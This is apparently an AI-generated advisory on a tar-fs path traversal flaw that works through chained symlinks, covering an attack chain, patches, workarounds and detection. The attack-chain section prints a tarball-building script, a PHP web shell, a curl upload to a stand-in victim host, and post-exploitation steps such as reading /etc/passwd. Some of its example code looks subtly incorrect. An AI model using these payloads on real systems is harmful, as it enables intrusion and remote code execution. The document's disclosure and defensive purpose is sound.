CVE-2026-145489 — Mafintosh Tar-fs (2.1.6) — CWE-59
tar-fs before 2.1.6 and 3.x before 3.1.4 contains a path traversal vulnerability that allows attackers to escape the extraction directory by chaining symlinks with '..' segments. Attackers can supply a crafted tarball where later entries traverse through earlier symlinks, creating links outside the destination to write or read files.
tar-fs before 2.1.6 and 3.x before 3.1.4 contains a path traversal vulnerability that allows attackers to escape the extraction directory by chaining symlinks with '..' segments. Attackers can supply a crafted tarball where later entries traverse through earlier symlinks, creating links outside the destination to write or read files.
🎯 What is this vulnerability?
CVE‑2026‑145489 – “tar‑fs” path‑traversal via chained symlinks
| Attribute | Value |
|---|---|
| Product | mafintosh:tar-fs (Node.js streaming tar extractor) |
| Vulnerable versions | < 2.1.6 and 3.x < 3.1.4 |
| CWE | CWE‑59 – Improper Link Resolution Before File Access (path‑traversal using symlinks) |
| CVSS 4.0 vector | AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N |
Technical flaw
tar-fs builds the destination file‑system hierarchy while streaming entries from a tar archive.
When it encounters a symlink entry it creates the link exactly as described in the tar header, without:
1. Normalising the target path (e.g., resolving .. segments) before creating the link, and
2. Validating that the symlink’s target stays inside the extraction root.
Because the extractor processes entries sequentially, an attacker can place a first entry that creates a symlink outside the intended destination (e.g., ln -s /etc/passwd out/evil) and then, in a later entry, reference that symlink together with .. components (e.g., evil/../tmp/malicious). When the later entry is written, the underlying fs.createWriteStream follows the previously‑created symlink, causing the file to be written outside the extraction directory.
In short: the library fails to enforce a “stay‑inside‑root” invariant after a symlink is created, allowing an attacker to “chain” a symlink with .. path components to escape the extraction directory.
The CVSS vector reflects this:
- Network‑reachable (AV:N) – the attacker only needs to supply a crafted tarball (e.g., via an upload endpoint or a CI pipeline).
- Low attack complexity (AC:L) – no special privileges or timing needed.
- No privileges required (PR:N) – anyone who can trigger extraction can exploit.
- User interaction required (UI:P) – the victim must invoke the extraction (e.g., a CI job or a web service that extracts uploaded archives).
- Impact – Integrity is High (attacker can write arbitrary files), Confidentiality and Availability are None (the vulnerability does not directly read data or cause denial‑of‑service).
⚡ Attack Chain
Below is a realistic, end‑to‑end exploitation scenario for a typical web‑application that accepts user‑supplied tarballs and extracts them with tar-fs.
1. Discovery & Reconnaissance
| Step | Action | Tools / Evidence |
|---|---|---|
| 1.1 | Identify that the target service uses tar-fs (e.g., by inspecting package‑json, error messages, or a disclosed CI pipeline). | npm ls tar-fs, grep -R "tar-fs" ., public repo, Snyk/OSSIndex reports. |
| 1.2 | Determine the exact version. | npm list tar-fs → 2.1.4 (vulnerable) or 3.0.9. |
| 1.3 | Verify that the service extracts tarballs without additional sandboxing (e.g., no chroot, no fs.promises.mkdir({recursive:true}) with path checks). | Source review, runtime instrumentation, or simply testing with a benign tarball. |
2. Exploitation
Goal: Write an arbitrary file (e.g., a web‑shell) to a location the attacker controls, such as the web‑root of the vulnerable application.
2.1 Craft the malicious tarball
The tarball must contain two entries in this exact order:
| Entry # | Type | Path inside tar | Payload / Target |
|---|---|---|---|
| 1 | symlink | evil | ../../../../../../var/www/html (points outside the extraction root) |
| 2 | regular file | evil/../shell.php | PHP web‑shell content (e.g., <?php system($_GET['cmd']); ?>) |
Because tar-fs creates the symlink first, the second entry resolves to /var/www/html/shell.php.
Bash command to generate the tarball (illustrative):
#!/usr/bin/env bash
set -euo pipefail
TMPDIR=$(mktemp -d)
cd "$TMPDIR"
# 1️⃣ Create the symlink entry (relative target)
mkdir -p out
ln -s ../../../../../../var/www/html out/evil
# 2️⃣ Create the file that will be written through the symlink
mkdir -p out/evil/../ # the directory part is required for tar to include the entry
printf '<?php system($_GET["cmd"]); ?>' > out/evil/../shell.php
# Build the tarball preserving the symlink
tar --format=gnu -cf ../exploit.tar -C out .
mv ../exploit.tar .
# Clean up
cd -
rm -rf "$TMPDIR"The resulting exploit.tar contains a symlink named evil that points outside the extraction root, followed by a file entry that traverses through that symlink.
2.2 Deliver the payload
The exact delivery vector depends on the target application. Below are two common illustrative examples:
| Vector | Example request (illustrative) |
|---|
| File‑upload endpoint (e.g., /api/upload) | ```bash curl -X POST https://victim.example.com/api/upload \\
-F "[email protected]" \
-H "Content-Type: multipart/form-data"``` |
| CI pipeline (e.g., a GitHub Action that runs tar-fs on a zip/tar artifact) | Commit the malicious tarball to the repository and trigger the workflow. |
Note: The CVE description does not name a concrete HTTP route; the abovecurlcommand is an illustrative payload that would be used against any endpoint that directly passes the uploaded archive totar-fs.extract().
2.3 What happens on the server
1. tar-fs receives the stream, creates the symlink evil → ../../../../../../var/www/html.
2. The next entry evil/../shell.php is resolved by the underlying fs.createWriteStream. The path resolution follows the symlink, resulting in an absolute path /var/www/html/shell.php.
3. The file is written outside the intended extraction directory, effectively planting a web‑shell.
3. Post‑exploitation
| Step | Action | Result |
|---|---|---|
| 3.1 | Access the planted web‑shell (e.g., http://victim.example.com/shell.php?cmd=id). | Remote code execution as the web‑server user (often www-data or apache). |
| 3.2 | Use the shell to read sensitive files (/etc/passwd, application config, JWT secrets). | Confidentiality breach. |
| 3.3 | Write additional payloads (e.g., a reverse‑shell binary, cron job, or modify application code). | Persistence and lateral movement. |
| 3.4 | If the web‑server runs with elevated privileges (e.g., root via mis‑configuration), the attacker can achieve full system compromise. | Full impact beyond the original “integrity‑only” rating. |
🌍 Real‑World Impact
| CIA Triad | CVSS Vector Interpretation | Practical Consequence |
|---|---|---|
| Confidentiality (C) | VC:N – No direct read of data. | Attackers cannot directly exfiltrate files via the vulnerability itself, but the planted web‑shell can be used to read any file the extraction process’s user can access. |
| Integrity (I) | VI:H – High impact. | Arbitrary file write enables web‑shell planting, configuration tampering, credential injection, or malicious binary deployment. |
| Availability (A) | VA:N – No direct denial‑of‑service. | Not a primary concern, though repeated writes could fill disk space. |
| Scope | SC:N – No privilege escalation across trust boundaries. | The impact is confined to the privileges of the process that runs tar-fs. |
| User Interaction | UI:P – Victim must trigger extraction (e.g., upload handling). | Attack is feasible in any service that automatically extracts user‑supplied archives (CI/CD pipelines, file‑sharing services, container image builders). |
Bottom‑line: An attacker who can cause the vulnerable tar-fs version to extract a crafted archive can write arbitrary files on the host, which in most web‑oriented deployments translates to remote code execution and full compromise of the affected service.
🛡️ Remediation & Mitigation
1. Patch
| Affected range | Fixed version |
|---|---|
< 2.1.6 | 2.1.6 |
3.x < 3.1.4 | 3.1.4 |
Action: Update the dependency in package.json and reinstall:
# For a 2.x line
npm install tar-fs@^2.1.6 --save-exact
# For a 3.x line
npm install tar-fs@^3.1.4 --save-exactThe maintainers added a path‑normalisation check (path.resolve) and a symlink‑target validation that rejects any target escaping the extraction root.
2. Immediate Workarounds (if patch cannot be applied immediately)
| Mitigation | How to implement |
|---|---|
| Validate tar entries before extraction – reject any entry whose *resolved* path is outside the intended root. | ``js const path = require('path'); const tar = require('tar-fs'); function safeExtract(stream, dest) { const extractor = tar.extract(dest, { map: header => { const target = path.resolve(dest, header.name); if (!target.startsWith(path.resolve(dest))) { throw new Error('Path traversal attempt'); } return header; } }); stream.pipe(extractor); } ` |
Disable symlink extraction – pass { dmode: 0o755, fmode: 0o644, umask: 0, ignore: (header) => header.type === 'symlink' } to tar-fs.extract(). | `js tar.extract(dest, { ignore: (header) => header.type === 'symlink' }); ` |
Run extraction in a sandbox – use a container or a dedicated low‑privilege user with a chroot/fs.mkdtemp directory that is read‑only for the rest of the filesystem. | `bash mkdir -p /tmp/extract && chmod 700 /tmp/extract && docker run --rm -v "$(pwd)/archive.tar":/tmp/archive.tar -v /tmp/extract:/out alpine sh -c "apk add nodejs npm && npm i tar-fs && node -e \"require('tar-fs').extract('/out').end(require('fs').readFileSync('/tmp/archive.tar'))\"" |
ModSecurity / WAF rule – block tar entries that contain a symlink whose target includes .. or an absolute path. | ``apacheconf SecRule REQUEST_HEADERS:Content-Type "application/x-tar" "phase:2,chain,log,deny,msg:'Blocked tar with unsafe symlink',id:2026451" \ SecRule TX:FILE_CONTENT "@rx ^.*\x75\x73\x74\x61\x72\x00.*\.\.\x2f.*$"` (illustrative – actual rule would inspect the uploaded file’s raw bytes for a symlink header with ../`). |
| File‑type whitelisting – only accept archive formats that the application explicitly supports (e.g., zip) and reject tar altogether if not required. | Adjust the upload validation layer to check MIME type and file extension. |
3. Detection
| Indicator | Where to look | Example pattern | ||
|---|---|---|---|---|
| Unexpected symlink creation in the extraction directory (or its parent). | OS audit logs (auditd), inotify watches, or container logs. | type=SYMLINK msg='name="/app/uploads/evil" target="../../../../etc/passwd"' | ||
| File writes to locations outside the configured extraction root shortly after a tar upload. | Application logs, fs.watch events, or strace/lsof on the extraction process. | open("/var/www/html/shell.php", O_WRONLY | O_CREAT | O_TRUNC, 0644) = 3 |
| Web‑server access to newly‑created files that were not part of the original code base. | Web‑server access logs (e.g., Nginx access.log). | GET /shell.php?cmd=id HTTP/1.1" 200 123 | ||
High frequency of tar extraction calls from unauthenticated sources. | Rate‑limiting metrics, API gateway logs. | POST /api/upload 200 45ms (many times per minute). | ||
| Presence of the string “tar‑fs” in stack traces (some libraries log the extractor name on error). | Application error logs. | Error: Path traversal attempt (tar-fs) |
Automated detection script (Node.js example):
const fs = require('fs');
const path = require('path');
const EXTRACT_ROOT = '/app/uploads';
fs.watch(EXTRACT_ROOT, { recursive: true }, (event, filename) => {
if (!filename) return;
const full = path.resolve(EXTRACT_ROOT, filename);
if (!full.startsWith(path.resolve(EXTRACT_ROOT))) {
console.warn(`[ALERT] File written outside extraction root: ${full}`);
}
});Deploy such a watcher in a staging environment to surface attempts before they reach production.
⚠️ Urgency
| Factor | Assessment |
|---|---|
| CVSS 4.0 base score | 7.1 (High) – integrity‑only but can lead to full RCE. |
| Exploit complexity | Low – requires only a crafted tarball; no authentication or timing constraints. |
| Public disclosure date | 5 Dec 2026 – the vulnerability is already public; attackers have had weeks to develop PoCs. |
| CISA KEV | Not listed, but the lack of a KEV entry does not reduce risk; many high‑impact vulnerabilities are omitted. |
| Prevalence | tar-fs is a popular choice for streaming extraction in CI pipelines, file‑sharing services, and container image builders. A quick npm ls tar-fs often reveals it in the dependency tree. |
Patch priority: Critical for any production service that automatically extracts user‑supplied tar archives. If the service is internet‑facing, the window for exploitation is already open, and the impact (web‑shell → RCE) is severe. Deploy the fixed version immediately, and apply the sandbox/validation mitigations as a fallback if a rolling upgrade is not feasible.
Bottom line: CVE‑2026‑145489 is a classic “symlink‑plus‑
..” path‑traversal that turns a benign archive extraction into an arbitrary‑file‑write primitive. The fix is straightforward (upgrade to [email protected] or @3.1.4), but until then, enforce strict path validation, disable symlink extraction, and monitor for out‑of‑root file creation.[🤖 CVE Professor AI Security Engine]
FOFA Query